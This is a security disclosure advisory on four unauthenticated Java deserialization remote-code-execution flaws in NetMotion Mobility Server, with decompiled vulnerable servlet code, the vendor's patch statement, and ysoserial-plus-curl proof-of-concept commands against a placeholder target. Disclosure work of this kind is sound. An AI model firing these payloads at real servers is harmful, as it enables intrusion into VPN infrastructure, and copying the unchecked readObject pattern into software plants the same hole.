SSD Advisory – NetMotion Mobility Server Multiple Deserialization of Untrusted Data Lead to RCE

TL;DR

Find out how multiple vulnerabilities in NetMotion Mobility Server allow an unauthenticated attacker to run arbitrary code on the server with SYSTEM privileges.

Vulnerability Summary

NetMotion Mobility is “standards-compliant, client/server-based software that securely extends the enterprise network to the mobile environment. It is mobile VPN software that maximizes mobile field worker productivity by maintaining and securing their data connections as they move in and out of wireless coverage areas and roam between networks. Designed specifically for wireless environments, Mobility provides IT managers with the security and centralized control needed to effectively manage a mobile deployment. Mobility complements existing IT systems, is highly scalable, and easy to deploy and maintain”.

Several vulnerabilities in the NetMotion Mobility server allow remote attackers to cause the server to execute code due to the way the server deserialize incoming content.

CVE

CVE-2021-26912

CVE-2021-26913

CVE-2021-26914

CVE-2021-26915

Credit

An independent security researcher, Steven Seeley of Source Incite, has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

NetMoition Mobility Server version 12.01.09045

Vendor Response

“On November 19, 2020, NetMotion alerted customers to security vulnerabilities in the Mobility web server and released updates for Mobility v11.x and v12.x to address them.

The vulnerabilities were fixed in versions Mobility v11.73 and v12.02, which were released on November 19, 2020. Customers should upgrade immediately to these or later versions.

NetMotion has always cautioned customers to put their servers behind a firewall. Customers who have not followed NetMotion’s recommendations (v11.73 and v12.02) for the secure configuration and deployment of their Mobility servers, and who have exposed access to the Mobility web server to untrusted networks or IP addresses, are particularly vulnerable to this attack.”

For more details see: https://www.netmotionsoftware.com/security-advisories/security-vulnerability-in-mobility-web-server-november-19-2020

Vulnerability Analysis

SupportRpcServlet Deserialization of Untrusted Data Remote Code Execution

Inside of the com.nmwco.server.support.SupportRpcServlet class, we can see the following code

public class SupportRpcServlet extends HttpServlet {
  public static final int SUPPORT_ZIP = 0;
  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) {
    try {
      ObjectInputStream objectInputStream = new ObjectInputStream((InputStream)paramHttpServletRequest.getInputStream());
      RpcData rpcData = (RpcData)objectInputStream.readObject();    // 1
      if (rpcData.validate(true)) {
        command(paramHttpServletResponse, rpcData);
      } else {
        paramHttpServletResponse.setStatus(401);
      }
    } catch (Exception exception) {
      paramHttpServletResponse.setStatus(500);
      Events.reportWarning(186, 37175, new String[] { paramHttpServletRequest.getRemoteAddr(), exception.toString() });
    }
  }

At [1] a readObject is used against attacker controlled inputstream without any protections.

PoC

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/SupportRpcServlet

RpcServlet Deserialization of Untrusted Data Remote Code Execution

Inside of the com.nmwco.server.events.EventRpcServlet class we can see:

public class EventRpcServlet extends RpcServlet implements EventRpcRequest {     // 1
  public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long paramLong, Object paramObject) throws IOException {
    try {
      if (!EventRpcResponse.writeResponse(paramObjectOutputStream, paramInt, paramLong, paramObject))
        paramHttpServletResponse.sendError(400);
    } catch (JniException jniException) {
      log("EventRpcServlet", (Throwable)jniException);
      paramHttpServletResponse.sendError(500);
    }
  }

We can see that this servlet extends from RpcServlet at [1], so let’s check that code:

public class RpcServlet extends HttpServlet implements RpcResponseCommand {
  private RpcResponseDispatcher mDispatcher;
  private static final int MAX_REQUEST_SIZE = 5242880;
  public void init(ServletConfig paramServletConfig) throws ServletException {
    super.init(paramServletConfig);
    this.mDispatcher = new RpcResponseDispatcher(this, true, 5242880);
  }
  public void destroy() {}
  public void writeResponse(HttpServletResponse paramHttpServletResponse, ObjectOutputStream paramObjectOutputStream, int paramInt, long paramLong, Object paramObject) throws IOException {
    paramHttpServletResponse.setStatus(404);
  }
  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    this.mDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpServletRequest(paramHttpServletRequest), (SimpleHttpResponse)new SimpleHttpServletResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
          public RpcData readObject(ObjectInputStream param1ObjectInputStream) throws Exception {      // 2
            return (RpcData)param1ObjectInputStream.readObject();
          }
        });
  }

At [2] we can see it has it’s own readObject dispatcher which also tries to read in an RpcData type that is not validated or checked against attacker controlled data.

PoC

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/EventRpcServlet

MvcUtil valueStringToObject Deserialization of Untrusted Data Remote Code Execution

Inside of the com.nmwco.server.mvc.MvcServlet we can see the following code:

public class MvcServlet extends HttpServlet {
  static final long serialVersionUID = 1L;
  private String mPackage;
  public void init(ServletConfig paramServletConfig) throws ServletException {
    super.init(paramServletConfig);
    this.mPackage = getInitParameter("controllersPackage");
    if (null == this.mPackage)
      throw new ServletException("Could not find init parameter 'controllerPackage'");
  }
  protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    doRequest(paramHttpServletRequest, paramHttpServletResponse);
  }
  protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    doRequest(paramHttpServletRequest, paramHttpServletResponse);
  }
  protected void doRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    if (this.mPackage != null) {
      String str1 = "";
      String str2 = paramHttpServletRequest.getRequestURI();
      int i = paramHttpServletRequest.getServletPath().length() + 1;
      if (str2.length() > i) {
        int j = str2.indexOf("/", i);
        if (j < 0)
          j = str2.length();
        str1 = str2.substring(i, j);
      }
      String str3 = this.mPackage + "." + str1 + "Controller";
      try {
        ServletContext servletContext = getServletConfig().getServletContext();
        MvcController mvcController = (MvcController)Class.forName(str3).newInstance();
        mvcController.invoke(servletContext, paramHttpServletRequest, paramHttpServletResponse);                  // 1
      } catch (ClassNotFoundException classNotFoundException) {
        String str = "/";
        if (!str1.isEmpty())
          str = str + MvcUtil.capsToUnderscores(str1) + ".jsp";
        forwardTo(str, paramHttpServletRequest, paramHttpServletResponse);
      } catch (IllegalAccessException illegalAccessException) {
        throw new ServletException("Could not access controller '" + str3 + "'");
      } catch (InstantiationException instantiationException) {
        throw new ServletException("Could not instantiate controller '" + str3 + "'");
      }
    } else {
      throw new ServletException("Could not determine controller package.");
    }
  }

It’s possible to reach [1] unauthenticated meaning which is the invoke method of the com.nmwco.server.mvc.MvcController class using attacker controlled data as the second argument.

  public final void invoke(ServletContext paramServletContext, HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException {
    this.context = paramServletContext;
    this.request = paramHttpServletRequest;
    this.response = paramHttpServletResponse;
    this.session = paramHttpServletRequest.getSession();
    if (null != this.session) {
      Object object1 = this.session.getAttribute(getSessionModelName());
      if (null != object1) {
        if (object1 instanceof MvcModel) {
          this.model = (MvcModel)object1;
          this.resultInvocation = true;
        }
        this.session.removeAttribute(getSessionModelName());
      }
      Object object2 = this.session.getAttribute("info");
      if (null != object2) {
        paramHttpServletRequest.setAttribute("info", object2);
        this.session.removeAttribute("info");
      }
      Object object3 = this.session.getAttribute("error");
      if (null != object3) {
        paramHttpServletRequest.setAttribute("error", object3);
        this.session.removeAttribute("error");
      }
      Object object4 = this.session.getAttribute("warning");
      if (null != object4) {
        paramHttpServletRequest.setAttribute("warning", object4);
        this.session.removeAttribute("warning");
      }
    }
    if (null == this.model)
      this.model = new MvcModel();
    this.model.putRequestParameters(paramHttpServletRequest);           // 2

An attacker can reach [2] which is a call to MvcModel.putRequestParameters using their controlled data.

  public void putRequestParameters(HttpServletRequest paramHttpServletRequest) {
    String str = paramHttpServletRequest.getParameter("Mvc_x_Form_x_Name");
    if (null != str) {
      Object object = MvcUtil.valueStringToObject(str);    // 3
      if (object instanceof Map)
        this.map = uncheckedCast(object);
    }

At [3] the MvcUtil.valueStringToObject method is called if the attacker supplied the query parameter Mvc_x_Form_x_Name.

  public static Object valueStringToObject(String paramString) {
    Object object = null;
    if (null != paramString)
      try {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(paramString.getBytes("UTF-8"));
        Base64InputStream base64InputStream = new Base64InputStream(byteArrayInputStream);
        ObjectInputStream objectInputStream = null;
        try {
          GZIPInputStream gZIPInputStream = new GZIPInputStream((InputStream)base64InputStream);
          objectInputStream = new ObjectInputStream(gZIPInputStream);
          object = objectInputStream.readObject();    // 4
        } catch (ClassNotFoundException classNotFoundException) {
        } catch (IOException iOException) {
        } finally {
          if (null != objectInputStream)
            objectInputStream.close();
        }
      } catch (IOException iOException) {}
    return object;
  }

The value of Mvc_x_Form_x_Name is decoded from base64 and gzip inflated and finally has readObject called on it. An attacker can leverage this to achieve RCE.

PoC

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 mspaint > payload.bin
gzip payload.bin
curl -k "https://[target]/mobility/Menu/isLoggedOn" --data-urlencode "Mvc_x_Form_x_Name=`cat payload.bin.gz | base64 -w0`"

webrepdb StatusServlet Deserialization of Untrusted Data Remote Code Execution

In the com.nmwco.server.webrepdb.StatusServlet class we can see the following code:

public class StatusServlet extends HttpServlet {
  private static final long serialVersionUID = -8733972612715355572L;
  private RpcResponseDispatcher webRepdbDispatcher = new RpcResponseDispatcher(new WebRepDbRpcResponseCommand());
  private DownloadEngineContainer container;
  public void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
    this.container = (DownloadEngineContainer)paramHttpServletRequest.getServletContext().getAttribute("com.nmwco.server.webrepdb.DownloadEngineContainer");
    this.webRepdbDispatcher.dispatch((SimpleHttpRequest)new SimpleHttpServletRequest(paramHttpServletRequest), (SimpleHttpResponse)new SimpleHttpServletResponse(paramHttpServletResponse), new RpcResponseObjectReader() {
          public RpcData readObject(ObjectInputStream param1ObjectInputStream) throws Exception {   // 1
            return (RpcData)param1ObjectInputStream.readObject();
          }
        });
  }
  public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException {
    doGet(paramHttpServletRequest, paramHttpServletResponse);
  }

At [1] the code sets up a dispatcher for a GET or POST request using a readObject call on attacker controlled data.

PoC

For this particular service, the CommonsCollections6 gadget wasn’t firing because it wasn’t loaded into the classpath. So I am just demonstrating here that deserialization is indeed working using a gadget in the JRE.

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://testing.[collab-id].burpcollaborator.net > payload.bin
curl -k --data-binary "@payload.bin" -H "Content-Type: application/octet-stream" -X POST https://[target]/WebRepDb/status

You should see a DNS lookup for testing on your collab server.

Demo

?

Get in touch